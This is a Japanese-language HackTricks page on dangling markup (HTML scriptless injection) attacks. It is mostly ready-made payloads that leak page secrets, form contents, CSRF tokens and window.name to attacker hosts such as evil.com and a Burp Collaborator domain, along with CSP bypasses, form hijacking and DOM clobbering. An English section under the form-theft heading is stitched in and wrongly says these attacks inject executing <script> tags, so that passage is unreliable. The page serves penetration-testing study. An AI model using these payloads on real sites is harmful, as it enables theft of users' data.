19 KiB
ダングリングマークアップ - HTMLスクリプトレスインジェクション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
-
The PEASS Familyを見つけてください、私たちの独占的なNFTのコレクション
-
公式のPEASS&HackTricksのグッズを手に入れましょう
-
💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm.
-
ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリにPRを提出してください。
概要
このテクニックは、HTMLインジェクションが見つかった場合にユーザーから情報を抽出するために使用できます。これは、XSS を悪用する方法が見つからない場合に非常に便利ですが、いくつかのHTMLタグをインジェクトすることができる場合です。
また、HTML内に平文で保存された秘密がある場合に、クライアントからそれを外部に持ち出すためにも役立ちます。また、スクリプトの実行を誤認させるためにも使用できます。
ここでコメントされているいくつかのテクニックは、予期しない方法で情報を外部に持ち出すことによって、いくつかのコンテンツセキュリティポリシーをバイパスするために使用できます(htmlタグ、CSS、http-metaタグ、フォーム、baseなど)。
主な応用
平文の秘密の盗み出し
<img src='http://evil.com/log.cgi?
をインジェクトすると、ページが読み込まれたときに被害者はインジェクトされたimg
タグと次のクォート内のコードの間のすべてのコードを送信します。そのチャンクに秘密が何らかの方法で存在する場合、それを盗みます(同じことをダブルクォートを使用して行うこともできます。どちらがより興味深いかを見てみてください)。
img
タグが禁止されている場合(CSPのためなど)、<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
を使用することもできます。
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
注意してください、Chromeは "<" または "\n" を含むHTTP URLをブロックしますので、"ftp" のような他のプロトコルスキームを試すことができます。
また、CSSの@import
を悪用することもできます(";"が見つかるまでのすべてのコードを送信します)。
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
あなたは**<table
**を使用することもできます:
<table background='//your-collaborator-id.burpcollaborator.net?'
あなたは<base
タグを挿入することもできます。引用符が閉じられるまで、すべての情報が送信されますが、ユーザーの操作が必要です(ユーザーはリンクをクリックする必要があります。なぜなら、ベースタグがリンクが指すドメインを変更しているからです):
<base target=' <--- Injected
steal me'<b>test</b>
フォームの盗み出し
When conducting a web application penetration test, it is important to identify and exploit any vulnerabilities that may exist in the application's forms. One such vulnerability is known as "dangling markup" or "HTML scriptless injection."
Web forms are commonly used to collect user input, such as login credentials or personal information. In some cases, the form data is not properly sanitized or validated on the server side, allowing an attacker to inject malicious code into the form fields.
HTML scriptless injection is a technique that takes advantage of this vulnerability by injecting HTML tags into the form fields. These tags are designed to execute JavaScript code when the form is submitted, allowing the attacker to steal sensitive information or perform other malicious actions.
To exploit this vulnerability, the attacker needs to identify a form that is vulnerable to HTML scriptless injection. This can be done by manually inspecting the HTML source code of the web application or by using automated scanning tools.
Once a vulnerable form is identified, the attacker can inject HTML tags into the form fields. For example, the attacker may inject a <script>
tag with JavaScript code that captures the form data and sends it to a remote server controlled by the attacker.
To prevent HTML scriptless injection attacks, web developers should ensure that all user input is properly sanitized and validated on the server side. This includes checking for and removing any HTML tags or special characters that could be used to inject malicious code.
Additionally, web application firewalls (WAFs) can be used to detect and block HTML scriptless injection attacks. WAFs can analyze incoming requests and block any requests that contain suspicious or malicious code.
By understanding and exploiting vulnerabilities like HTML scriptless injection, penetration testers can help organizations identify and fix security flaws in their web applications, protecting sensitive user data from being stolen or misused.
<base href='http://evil.com/'>
次に、データをパスに送信するフォーム(例:<form action='update_profile.php'>
)は、データを悪意のあるドメインに送信します。
フォームの盗み出し2
フォームヘッダーを設定します:<form action='http://evil.com/log_steal'>
これにより、次のフォームヘッダーが上書きされ、フォームのすべてのデータが攻撃者に送信されます。
フォームの盗み出し3
ボタンは、属性 "formaction" を使用して、フォームの情報が送信されるURLを変更することができます。
<button name=xss type=submit formaction='https://google.com'>I get consumed!
攻撃者はこれを使って情報を盗むことができます。
クリアテキストの秘密の盗み出し 2
最新のテクニックを使用してフォームを盗む(新しいフォームヘッダを注入する)後、新しい入力フィールドを注入することができます:
<input type='hidden' name='review_body' value="
そして、この入力フィールドには、HTML内のダブルクォートと次のダブルクォートの間のすべてのコンテンツが含まれます。この攻撃は、"平文の秘密の盗み出し"と"フォームの盗み出し2"を組み合わせています。
同じことを、フォームと<option>
タグを注入することで行うこともできます。閉じられた</option>
が見つかるまでのすべてのデータが送信されます。
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
フォームパラメーターのインジェクション
フォームのパスを変更し、新しい値を挿入することで、予期しないアクションが実行される可能性があります。
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
noscriptを使用した平文の秘密情報の盗み出し
<noscript></noscript>
は、ブラウザがJavaScriptをサポートしていない場合に解釈されるタグです(Chromeではchrome://settings/content/javascriptでJavaScriptを有効/無効にすることができます)。
攻撃者が制御するサイトに、インジェクションポイントからページの最下部までのコンテンツを盗み出す方法は、次のようにインジェクションすることです:
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
ユーザーの操作を利用してCSPをバイパスする
このポートスウィガーの研究から、最もCSPが制限された環境でも、ユーザーの操作を利用してデータを外部に漏洩することができることがわかります。今回は、以下のペイロードを使用します:
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
注意してください。被害者に対して、あなたが制御するペイロードにリダイレクトするリンクをクリックするように依頼します。また、base
タグ内のtarget
属性には、次のシングルクォートまでのHTMLコンテンツが含まれることに注意してください。
これにより、リンクがクリックされた場合の**window.name
の値は、そのHTMLコンテンツ全体になります。したがって、リンクをクリックして被害者がアクセスしているページを制御しているため、window.name
にアクセスしてそのデータを外部に漏洩**することができます。
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
誤解を招くスクリプトのワークフロー1 - HTMLネームスペース攻撃
次のタグを上書きし、スクリプトのフローに影響を与える値を持つ、HTML内に新しいタグを挿入します。この例では、情報を共有する相手を選択します。
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<script>
var target = document.getElementById('target');
var shareWith = target.getAttribute('data-share-with');
// Perform actions based on the value of 'shareWith'
</script>
</svg>
<div id="target" data-share-with="example@example.com"></div>
この攻撃では、data-share-with
属性の値を変更することで、スクリプトのフローを操作することができます。
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
誤解を招くスクリプトのワークフロー2 - スクリプト名前空間攻撃
HTMLタグを挿入してJavaScriptの名前空間内に変数を作成します。その後、この変数はアプリケーションのフローに影響を与えます。
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
JSONPの乱用
JSONPインターフェースを見つけた場合、任意の関数と任意のデータを呼び出すことができる可能性があります。
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
または、いくつかのJavaScriptを実行してみることもできます:
<script src='/search?q=a&call=alert(1)'></script>
Iframeの悪用
注意してください、子ドキュメントは親のlocationプロパティを表示および設定することができます。 これは、クライアントが他のページにアクセスすることができることを意味します。以下のようなコードをiframe内に読み込むことで、クライアントが他のページにアクセスできます。
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
これは次のように緩和できます: sandbox='allow-scripts allow-top-navigation'
また、iframeを使って異なるページからiframeのname属性を利用して機密情報を漏洩させることもできます。これは、HTMLインジェクションを悪用して自身をiframe化するiframeを作成することができるため、機密情報がiframeのname属性内に表示され、それを初期のiframeからアクセスして漏洩させることができるからです。
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
詳細については、https://portswigger.net/research/bypassing-csp-with-dangling-iframesを参照してください。
<metaの乱用
meta http-equiv
を使用して、Cookieの設定などの複数のアクションを実行できます:<meta http-equiv="Set-Cookie" Content="SESSID=1">
またはリダイレクトを実行できます(この場合は5秒後に):<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
これは、http-equivに関するCSPで回避することができます( Content-Security-Policy: default-src 'self';
または Content-Security-Policy: http-equiv 'self';
)
新しい<portal HTMLタグ
<portalタグの脆弱性に関する非常に興味深い研究はこちらで見つけることができます。
この執筆時点では、Chromeでportalタグを有効にする必要があります。chrome://flags/#enable-portals
で有効にしないと機能しません。
<portal src='https://attacker-server?
HTMLリーク
HTMLで接続性を漏洩させる方法はすべてがDangling Markupに役立つわけではありませんが、時には役に立つこともあります。こちらで確認できます:https://github.com/cure53/HTTPLeaks/blob/master/leak.html
XS-Search
XS-Searchは、サイドチャネル攻撃を悪用してクロスオリジン情報を外部流出させるためのものです。したがって、これはDangling Markupとは異なる技術ですが、一部の技術はHTMLタグの含み(JSの実行あり・なし)を悪用しています。例えば、CSS InjectionやLazy Load Imagesなどです。
{% content-ref url="xs-search.md" %} xs-search.md {% endcontent-ref %}
ブルートフォース検出リスト
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
参考文献
ここで紹介されているすべての技術とその他の詳細については、以下で確認できます:
{% embed url="http://lcamtuf.coredump.cx/postxss/" %}
悪用される可能性のある他のHTMLタグは、こちらで見つけることができます:
{% embed url="http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/" %}
詳細情報:
{% embed url="https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
-
The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
-
公式のPEASS&HackTricksのグッズを手に入れましょう。
-
💬 DiscordグループまたはTelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
-
**ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリ**にPRを提出してください。